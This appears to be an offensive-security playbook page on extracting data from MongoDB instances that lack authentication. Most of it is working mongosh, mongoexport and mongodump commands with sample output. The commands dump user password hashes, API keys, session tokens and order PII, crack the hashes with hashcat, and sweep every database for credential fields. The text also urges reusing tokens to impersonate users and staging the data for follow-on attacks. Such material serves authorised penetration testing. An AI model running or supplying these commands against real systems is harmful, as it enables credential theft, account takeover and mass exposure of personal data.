Skip to content

MongoDB Unauthenticated Data Extraction

5 min read Created Mar 28, 2026 Last updated Mar 28, 2026

Unauthenticated MongoDB access gives direct read access to all collections across all databases. The extraction goal is to pull high-value data efficiently: credentials, session tokens, API keys, and PII. Stage it for reporting and follow-on attacks. Confirm unauthenticated access first through unauthenticated access testing before running bulk extraction.

Start targeted before dumping everything. High-value extraction targets:

  • User collections with credentials and role assignments

  • Session and API token collections

  • Configuration collections with database connection strings

  • admin.system.users for MongoDB-level credential hashes

Enumerate databases and collections first, then sample these targets. Bulk extraction on large instances generates significant I/O and may slow the application. Some MongoDB deployments enforce authentication per database rather than globally. You may read appdb freely but get an auth error on admindb. Test each database individually if access seems inconsistent across databases.

Quick Collection Sample

Before bulk dumping, pull one document from each high-value collection to confirm content and structure. Look at the password field prefix to identify the hash algorithm. $2b$ or $2a$ means bcrypt, $1$ is MD5-crypt, and no prefix often means plaintext or a custom encoding. Check whether role, api_key, or token fields appear in the same document. If findOne() returns null, the collection is empty or the name differs. Try common variants: users, user, accounts, members, customers, or employees.

┌──(kali㉿kali)-[~]
└─$ mongosh $TARGET_IP:27017/appdb --quiet --eval 'printjson(db.users.findOne())'
{
  _id: ObjectId('507f1f77bcf86cd799439011'),
  username: 'admin',
  password: '$2b$12$LQv3c1yqBWVHxkd0LHAkCOYz6TtxMQJqhN',
  email: 'admin@company.com',
  role: 'administrator',
  api_key: 'sk-prod-xK2aB1cD3eF4'
}

Extract All Credentials from Users Collection

The projection limits output to only the specified fields. Add or remove field names based on what the sample document revealed. Check the sample for additional fields worth capturing: reset tokens, MFA secrets, or two-factor backup codes.

┌──(kali㉿kali)-[~]
└─$ mongosh $TARGET_IP:27017/appdb --quiet --eval 'db.users.find({},{username:1,password:1,email:1,role:1,_id:0}).forEach(u => print(JSON.stringify(u)))' | tee /tmp/mongo_users.json
{"username":"admin","password":"$2b$12$LQv3...","email":"admin@company.com","role":"administrator"}
{"username":"editor","password":"$2b$12$abc...","email":"editor@company.com","role":"editor"}

Crack extracted bcrypt hashes with hashcat mode 3200. MD5 hashes use mode 0, SHA1 uses mode 100. Bcrypt is deliberately slow: expect hours or days even with GPU acceleration. Prioritize hashes belonging to admin or administrator role accounts first. Some development or staging instances store passwords in plaintext. If any passwords appear as plaintext or base64, decode and test them against other services in scope immediately.

┌──(kali㉿kali)-[~]
└─$ cat /tmp/mongo_users.json | python3 -c "import sys,json; [print(json.loads(l).get('password','')) for l in sys.stdin]" > /tmp/mongo_hashes.txt
┌──(kali㉿kali)-[~]
└─$ hashcat -m 3200 /tmp/mongo_hashes.txt /usr/share/wordlists/rockyou.txt

Extract API Tokens and Session Data

API tokens are immediately usable without cracking. Check the scope field: admin-scoped tokens give full API access to the application. Record the user_id alongside each token to map privilege level. Session tokens with a future expires value let you impersonate logged-in users directly. Test valid tokens against the application API before they expire or rotate.

┌──(kali㉿kali)-[~]
└─$ mongosh $TARGET_IP:27017/appdb --quiet --eval 'db.api_tokens.find({},{_id:0}).forEach(t => print(JSON.stringify(t)))'
{"user_id":"admin","token":"sk-prod-xK2aB1cD3eF4gH5i","created":"2026-01-01","scope":"admin"}
{"user_id":"editor","token":"sk-prod-qR1sT2uV3wX4y","created":"2026-01-15","scope":"write"}
┌──(kali㉿kali)-[~]
└─$ mongosh $TARGET_IP:27017/appdb --quiet --eval 'db.sessions.find({},{_id:0,user:1,token:1,expires:1}).forEach(s => print(JSON.stringify(s)))' | head -20

Dump Full Database with mongoexport

mongoexport produces clean JSON output per collection suitable for offline analysis and reporting. After the dump, check document counts to prioritize review. A large orders collection often contains PII: names, addresses, and payment data. This data is useful for scope and impact reporting in the engagement. If mongoexport is not available on the attacker machine, fall back to a mongosh forEach print loop per collection.

mkdir -p /tmp/mongo_dump/$TARGET_IP
for col in users sessions api_tokens orders; do
  mongoexport --host $TARGET_IP --port 27017 --db appdb --collection $col --out /tmp/mongo_dump/$TARGET_IP/${col}.json 2>/dev/null
  echo "$col: $(wc -l < /tmp/mongo_dump/$TARGET_IP/${col}.json) documents"
done
┌──(kali㉿kali)-[~]
└─$ ./script.sh
users: 47 documents
sessions: 312 documents
api_tokens: 23 documents
orders: 8492 documents

Dump All Databases with mongodump

mongodump creates BSON archives of every database. Use this for a complete dump when you need everything. The output is BSON format and requires bsondump or mongorestore to read. Run bsondump on a specific collection file to inspect its contents as JSON for quick triage after the dump completes.

┌──(kali㉿kali)-[~]
└─$ mongodump --host $TARGET_IP --port 27017 --out /tmp/mongo_dump/$TARGET_IP/full/ 2>&1 | tail -5
done dumping appdb.users (47 documents)
done dumping appdb.api_tokens (23 documents)
done dumping admin.system.users (3 documents)

The admin.system.users collection in the dump contains MongoDB user credentials including SCRAM-SHA password hashes. These are MongoDB-level service account credentials, not application user accounts. They cannot be used for pass-the-hash directly. Extract them for offline cracking and credential reuse against other MongoDB instances in the environment. Three entries in admin.system.users means three MongoDB database users exist, separate from the application user count.

When collection names are non-obvious, search across all databases for fields containing credential patterns. The script skips local and config databases, which contain only MongoDB internal data. Any collection returning a match is worth a full dump. The $exists query only matches exact field names. Developers sometimes use non-standard names: pwd, passwd, pass, hash, bearer, or auth_token. Adjust the query fields if the initial sweep returns fewer results than expected.

┌──(kali㉿kali)-[~]
└─$ mongosh $TARGET_IP:27017 --quiet --eval '
db.adminCommand({listDatabases:1}).databases.forEach(function(d) {
if (["local","config"].includes(d.name)) return;
var dbo = db.getSiblingDB(d.name);
dbo.getCollectionNames().forEach(function(c) {
var doc = dbo[c].findOne({$or:[{password:{$exists:true}},{token:{$exists:true}},{api_key:{$exists:true}},{secret:{$exists:true}}]});
if (doc) print(d.name+"."+c+": "+JSON.stringify(doc).substring(0,200));
});
})'
appdb.users: {"username":"admin","password":"$2b$12$LQv..."
appdb.api_tokens: {"user_id":"admin","token":"sk-prod-xK2.."

References